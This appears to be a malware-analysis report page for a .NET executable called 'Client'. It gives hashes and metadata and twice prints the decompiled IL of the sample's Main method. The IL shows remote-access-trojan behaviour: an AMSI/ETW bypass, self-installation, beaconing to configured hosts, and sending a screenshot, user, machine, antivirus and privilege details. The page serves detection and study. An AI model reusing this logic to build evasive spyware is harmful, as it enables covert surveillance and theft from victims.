1035735f7d18175e23e1181434648494

PE Executable

MD5: 1035735f7d18175e23e1181434648494

Size: 192.51 KB

application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.

Unlock with Essential

Symbol Obfuscation Score Low

MD5	1035735f7d18175e23e1181434648494
Sha1	ab3c478b0481fd4d9b4cc228312a6ba89bae9e94
Sha256	c5ecdd414e5a4a9ce1dac9fd9bdac433de80b66de3d0aff47abe784706fbb02a
Sha384	cf2837f7b4d93d98d3a553aa92463f322c20c447dfc42c17f8ee9056863fee674bcf03d191ced5ffa083f7c1d16f34f5
Sha512	1874aabd8bba168ab1fb97319a9cac53301f0d409580dce76e9158d73f8b04672f99d7a8f7de9543b6b883c33b95779e550852c626995c23836b55b290bdd87f
SSDeep	3072:5q4IN0wVxpaNvbaeO9K3S+0LRX0pcU622wca+He6pyXNlNtA7uDgObnNQUKn:grpaN2rA3SRLRXg15ca+H9ONl3A72nb
TLSH	3814E04473C88A14D97E06FD8363B324933492071897EB0E1ECA91DA3F76BD5DA09DE5

PeID

.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET

STICH beta

No STICH Path has been generated for this analysis yet.

2 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 2

Name	Value
Info	PE Detect: PeReader OK (file layout)
Module Name	Client
Full Name	Client
EntryPoint	System.Void Client.Program::Main(System.String[])
Scope Name	Client
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	Client
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	.NETFramework,Version=v4.7.2
Total Strings	351
Main Method	System.Void Client.Program::Main(System.String[])
Main IL Instruction Count	248
Main IL	nop <null> nop <null> call System.Void Client.Config::Init() nop <null> call System.Void Client.Helper.AsmiAndETW::Bypass() nop <null> ldsfld System.Threading.TimerCallback Client.Program/<>c::<>9__2_0 dup <null> brtrue.s IL_002D: ldnull pop <null> ldsfld Client.Program/<>c Client.Program/<>c::<>9 ldftn System.Void Client.Program/<>c::<Main>b__2_0(System.Object) newobj System.Void System.Threading.TimerCallback::.ctor(System.Object,System.IntPtr) dup <null> stsfld System.Threading.TimerCallback Client.Program/<>c::<>9__2_0 ldnull <null> ldc.r8 10 call System.TimeSpan System.TimeSpan::FromMinutes(System.Double) ldc.r8 10 call System.TimeSpan System.TimeSpan::FromMinutes(System.Double) newobj System.Void System.Threading.Timer::.ctor(System.Threading.TimerCallback,System.Object,System.TimeSpan,System.TimeSpan) pop <null> ldsfld System.String Client.Config::Install ldstr ]sf% call System.String Client.Helper.EncryptString::Decode(System.String) call System.Boolean System.String::op_Equality(System.String,System.String) stloc.0 <null> ldloc.0 <null> brfalse.s IL_0070: ldsfld System.String Client.Config::Mutex nop <null> call System.Void Client.Helper.Install::Run() nop <null> nop <null> ldsfld System.String Client.Config::Mutex call System.Boolean Client.Helper.MutexControl::CreateMutex(System.String) ldc.i4.0 <null> ceq <null> stloc.1 <null> ldloc.1 <null> brfalse.s IL_0087: call System.Void Client.Helper.Methods::MaxPriority() nop <null> leave IL_029D: ret call System.Void Client.Helper.Methods::MaxPriority() nop <null> call System.Void Client.Helper.Methods::PreventSleep() nop <null> br IL_0284: ldsfld System.Boolean Client.Program::shouldExit nop <null> ldsfld Client.Helper.Client Client.Program::client ldfld System.Boolean Client.Helper.Client::itsConnect brtrue.s IL_00AF: ldc.i4.0 ldsfld System.Boolean Client.Program::shouldExit ldc.i4.0 <null> ceq <null> br.s IL_00B0: stloc.2 ldc.i4.0 <null> stloc.2 <null> ldloc.2 <null> brfalse IL_0278: ldc.i4 200 nop <null> ldsfld System.String Client.Config::Hosts ldc.i4.1 <null> newarr System.Char dup <null> ldc.i4.0 <null> ldc.i4.s 59 stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc.3 <null> ldloc.3 <null> ldlen <null> ldc.i4.0 <null> ceq <null> stloc.s V_8 ldloc.s V_8 brfalse.s IL_00EA: ldloc.3 nop <null> ldc.i4 5000 call System.Void System.Threading.Thread::Sleep(System.Int32) nop <null> br IL_0284: ldsfld System.Boolean Client.Program::shouldExit ldloc.3 <null> ldsfld System.Random Client.Helper.Methods::random ldloc.3 <null> ldlen <null> conv.i4 <null> callvirt System.Int32 System.Random::Next(System.Int32) ldelem.ref <null> callvirt System.String System.String::Trim() stloc.s V_4 ldloc.s V_4 ldc.i4.1 <null> newarr System.Char dup <null> ldc.i4.0 <null> ldc.i4.s 58 stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc.s V_5 ldloc.s V_5 ldlen <null> conv.i4 <null> ldc.i4.2 <null> ceq <null> ldc.i4.0 <null> ceq <null> stloc.s V_9 ldloc.s V_9 brfalse.s IL_0135: ldloc.s V_5 nop <null> ldc.i4 5000 call System.Void System.Threading.Thread::Sleep(System.Int32) nop <null> br IL_0284: ldsfld System.Boolean Client.Program::shouldExit ldloc.s V_5 ldc.i4.0 <null> ldelem.ref <null> callvirt System.String System.String::Trim() stloc.s V_6 ldloc.s V_5 ldc.i4.1 <null> ldelem.ref <null> callvirt System.String System.String::Trim() stloc.s V_7 ldsfld Client.Helper.Client Client.Program::client callvirt System.Void Client.Helper.Client::Disconnect() nop <null> ldsfld Client.Helper.Client Client.Program::client ldloc.s V_6 ldloc.s V_7 callvirt System.Void Client.Helper.Client::Connect(System.String,System.String) nop <null> ldsfld Client.Helper.Client Client.Program::client ldfld System.Boolean Client.Helper.Client::itsConnect stloc.s V_10 ldloc.s V_10 brfalse IL_0277: nop nop <null> ldsfld Client.Helper.Client Client.Program::client ldc.i4.2 <null> newarr System.Object dup <null> ldc.i4.0 <null> ldstr vf]7 call System.String Client.Helper.EncryptString::Decode(System.String) stelem.ref <null> dup <null> ldc.i4.1 <null> ldstr 8],hbf%`t>U6 call System.String Client.Helper.EncryptString::Decode(System.String) stelem.ref <null> call System.Byte[] Leb128.LEB128::Write(System.Object[]) callvirt System.Void Client.Helper.Client::Send(System.Byte[]) nop <null> ldsfld Client.Helper.Client Client.Program::client ldsfld Client.Helper.Client Client.Program::client newobj System.Void Client.Helper.PingChecker::.ctor(Client.Helper.Client) stfld Client.Helper.PingChecker Client.Helper.Client::pingChecker ldsfld Client.Helper.Client Client.Program::client ldsfld Client.Helper.Client Client.Program::client newobj System.Void Client.Helper.LastPing::.ctor(Client.Helper.Client) stfld Client.Helper.LastPing Client.Helper.Client::lastPing ldsfld Client.Helper.Client Client.Program::client ldc.i4.s 14 newarr System.Object dup <null> ldc.i4.0 <null> ldstr !&zz%t] call System.String Client.Helper.EncryptString::Decode(System.String) stelem.ref <null> dup <null> ldc.i4.1 <null> call System.Byte[] Client.Helper.Methods::CaptureResizeReduceQuality() stelem.ref <null> dup <null> ldc.i4.2 <null> ldsfld System.String Client.Config::Group stelem.ref <null> dup <null> ldc.i4.3 <null> ldsfld System.String Client.Config::Hwid stelem.ref <null> dup <null> ldc.i4.4 <null> call System.String System.Environment::get_UserName() ldstr -D- call System.String Client.Helper.EncryptString::Decode(System.String) call System.String System.Environment::get_MachineName() call System.String System.String::Concat(System.String,System.String,System.String) stelem.ref <null> dup <null> ldc.i4.5 <null> ldsfld System.String Client.Config::Camera stelem.ref <null> dup <null> ldc.i4.6 <null> ldsfld System.String Client.Config::Cpu stelem.ref <null> dup <null> ldc.i4.7 <null> ldsfld System.String Client.Config::Gpu stelem.ref <null> dup <null> ldc.i4.8 <null> ldsfld System.String Client.Config::WindowsVersion stelem.ref <null> dup <null> ldc.i4.s 9 ldsfld System.String Client.Config::AntiVirus stelem.ref <null> dup <null> ldc.i4.s 10 ldsfld System.String Client.Config::Version stelem.ref <null> dup <null> ldc.i4.s 11 ldsfld System.String Client.Config::DataInstall stelem.ref <null> dup <null> ldc.i4.s 12 ldsfld System.String Client.Config::Privilege stelem.ref <null> dup <null> ldc.i4.s 13 call System.String Client.Helper.Methods::GetActiveWindowTitle() stelem.ref <null> call System.Byte[] Leb128.LEB128::Write(System.Object[]) callvirt System.Void Client.Helper.Client::Send(System.Byte[]) nop <null> nop <null> nop <null> ldc.i4 200 call System.Void System.Threading.Thread::Sleep(System.Int32) nop <null> nop <null> ldsfld System.Boolean Client.Program::shouldExit ldc.i4.0 <null> ceq <null> stloc.s V_11 ldloc.s V_11 brtrue IL_0098: nop nop <null> leave.s IL_029D: ret pop <null> nop <null> nop <null> leave.s IL_029D: ret ret <null>
Module Name	Client
Full Name	Client
EntryPoint	System.Void Client.Program::Main(System.String[])
Scope Name	Client
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	Client
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	.NETFramework,Version=v4.7.2
Total Strings	351
Main Method	System.Void Client.Program::Main(System.String[])
Main IL Instruction Count	248
Main IL	nop <null> nop <null> call System.Void Client.Config::Init() nop <null> call System.Void Client.Helper.AsmiAndETW::Bypass() nop <null> ldsfld System.Threading.TimerCallback Client.Program/<>c::<>9__2_0 dup <null> brtrue.s IL_002D: ldnull pop <null> ldsfld Client.Program/<>c Client.Program/<>c::<>9 ldftn System.Void Client.Program/<>c::<Main>b__2_0(System.Object) newobj System.Void System.Threading.TimerCallback::.ctor(System.Object,System.IntPtr) dup <null> stsfld System.Threading.TimerCallback Client.Program/<>c::<>9__2_0 ldnull <null> ldc.r8 10 call System.TimeSpan System.TimeSpan::FromMinutes(System.Double) ldc.r8 10 call System.TimeSpan System.TimeSpan::FromMinutes(System.Double) newobj System.Void System.Threading.Timer::.ctor(System.Threading.TimerCallback,System.Object,System.TimeSpan,System.TimeSpan) pop <null> ldsfld System.String Client.Config::Install ldstr ]sf% call System.String Client.Helper.EncryptString::Decode(System.String) call System.Boolean System.String::op_Equality(System.String,System.String) stloc.0 <null> ldloc.0 <null> brfalse.s IL_0070: ldsfld System.String Client.Config::Mutex nop <null> call System.Void Client.Helper.Install::Run() nop <null> nop <null> ldsfld System.String Client.Config::Mutex call System.Boolean Client.Helper.MutexControl::CreateMutex(System.String) ldc.i4.0 <null> ceq <null> stloc.1 <null> ldloc.1 <null> brfalse.s IL_0087: call System.Void Client.Helper.Methods::MaxPriority() nop <null> leave IL_029D: ret call System.Void Client.Helper.Methods::MaxPriority() nop <null> call System.Void Client.Helper.Methods::PreventSleep() nop <null> br IL_0284: ldsfld System.Boolean Client.Program::shouldExit nop <null> ldsfld Client.Helper.Client Client.Program::client ldfld System.Boolean Client.Helper.Client::itsConnect brtrue.s IL_00AF: ldc.i4.0 ldsfld System.Boolean Client.Program::shouldExit ldc.i4.0 <null> ceq <null> br.s IL_00B0: stloc.2 ldc.i4.0 <null> stloc.2 <null> ldloc.2 <null> brfalse IL_0278: ldc.i4 200 nop <null> ldsfld System.String Client.Config::Hosts ldc.i4.1 <null> newarr System.Char dup <null> ldc.i4.0 <null> ldc.i4.s 59 stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc.3 <null> ldloc.3 <null> ldlen <null> ldc.i4.0 <null> ceq <null> stloc.s V_8 ldloc.s V_8 brfalse.s IL_00EA: ldloc.3 nop <null> ldc.i4 5000 call System.Void System.Threading.Thread::Sleep(System.Int32) nop <null> br IL_0284: ldsfld System.Boolean Client.Program::shouldExit ldloc.3 <null> ldsfld System.Random Client.Helper.Methods::random ldloc.3 <null> ldlen <null> conv.i4 <null> callvirt System.Int32 System.Random::Next(System.Int32) ldelem.ref <null> callvirt System.String System.String::Trim() stloc.s V_4 ldloc.s V_4 ldc.i4.1 <null> newarr System.Char dup <null> ldc.i4.0 <null> ldc.i4.s 58 stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc.s V_5 ldloc.s V_5 ldlen <null> conv.i4 <null> ldc.i4.2 <null> ceq <null> ldc.i4.0 <null> ceq <null> stloc.s V_9 ldloc.s V_9 brfalse.s IL_0135: ldloc.s V_5 nop <null> ldc.i4 5000 call System.Void System.Threading.Thread::Sleep(System.Int32) nop <null> br IL_0284: ldsfld System.Boolean Client.Program::shouldExit ldloc.s V_5 ldc.i4.0 <null> ldelem.ref <null> callvirt System.String System.String::Trim() stloc.s V_6 ldloc.s V_5 ldc.i4.1 <null> ldelem.ref <null> callvirt System.String System.String::Trim() stloc.s V_7 ldsfld Client.Helper.Client Client.Program::client callvirt System.Void Client.Helper.Client::Disconnect() nop <null> ldsfld Client.Helper.Client Client.Program::client ldloc.s V_6 ldloc.s V_7 callvirt System.Void Client.Helper.Client::Connect(System.String,System.String) nop <null> ldsfld Client.Helper.Client Client.Program::client ldfld System.Boolean Client.Helper.Client::itsConnect stloc.s V_10 ldloc.s V_10 brfalse IL_0277: nop nop <null> ldsfld Client.Helper.Client Client.Program::client ldc.i4.2 <null> newarr System.Object dup <null> ldc.i4.0 <null> ldstr vf]7 call System.String Client.Helper.EncryptString::Decode(System.String) stelem.ref <null> dup <null> ldc.i4.1 <null> ldstr 8],hbf%`t>U6 call System.String Client.Helper.EncryptString::Decode(System.String) stelem.ref <null> call System.Byte[] Leb128.LEB128::Write(System.Object[]) callvirt System.Void Client.Helper.Client::Send(System.Byte[]) nop <null> ldsfld Client.Helper.Client Client.Program::client ldsfld Client.Helper.Client Client.Program::client newobj System.Void Client.Helper.PingChecker::.ctor(Client.Helper.Client) stfld Client.Helper.PingChecker Client.Helper.Client::pingChecker ldsfld Client.Helper.Client Client.Program::client ldsfld Client.Helper.Client Client.Program::client newobj System.Void Client.Helper.LastPing::.ctor(Client.Helper.Client) stfld Client.Helper.LastPing Client.Helper.Client::lastPing ldsfld Client.Helper.Client Client.Program::client ldc.i4.s 14 newarr System.Object dup <null> ldc.i4.0 <null> ldstr !&zz%t] call System.String Client.Helper.EncryptString::Decode(System.String) stelem.ref <null> dup <null> ldc.i4.1 <null> call System.Byte[] Client.Helper.Methods::CaptureResizeReduceQuality() stelem.ref <null> dup <null> ldc.i4.2 <null> ldsfld System.String Client.Config::Group stelem.ref <null> dup <null> ldc.i4.3 <null> ldsfld System.String Client.Config::Hwid stelem.ref <null> dup <null> ldc.i4.4 <null> call System.String System.Environment::get_UserName() ldstr -D- call System.String Client.Helper.EncryptString::Decode(System.String) call System.String System.Environment::get_MachineName() call System.String System.String::Concat(System.String,System.String,System.String) stelem.ref <null> dup <null> ldc.i4.5 <null> ldsfld System.String Client.Config::Camera stelem.ref <null> dup <null> ldc.i4.6 <null> ldsfld System.String Client.Config::Cpu stelem.ref <null> dup <null> ldc.i4.7 <null> ldsfld System.String Client.Config::Gpu stelem.ref <null> dup <null> ldc.i4.8 <null> ldsfld System.String Client.Config::WindowsVersion stelem.ref <null> dup <null> ldc.i4.s 9 ldsfld System.String Client.Config::AntiVirus stelem.ref <null> dup <null> ldc.i4.s 10 ldsfld System.String Client.Config::Version stelem.ref <null> dup <null> ldc.i4.s 11 ldsfld System.String Client.Config::DataInstall stelem.ref <null> dup <null> ldc.i4.s 12 ldsfld System.String Client.Config::Privilege stelem.ref <null> dup <null> ldc.i4.s 13 call System.String Client.Helper.Methods::GetActiveWindowTitle() stelem.ref <null> call System.Byte[] Leb128.LEB128::Write(System.Object[]) callvirt System.Void Client.Helper.Client::Send(System.Byte[]) nop <null> nop <null> nop <null> ldc.i4 200 call System.Void System.Threading.Thread::Sleep(System.Int32) nop <null> nop <null> ldsfld System.Boolean Client.Program::shouldExit ldc.i4.0 <null> ceq <null> stloc.s V_11 ldloc.s V_11 brtrue IL_0098: nop nop <null> leave.s IL_029D: ret pop <null> nop <null> nop <null> leave.s IL_029D: ret ret <null>

No malware configuration was found at this point.

You must be signed in to view YARA rules.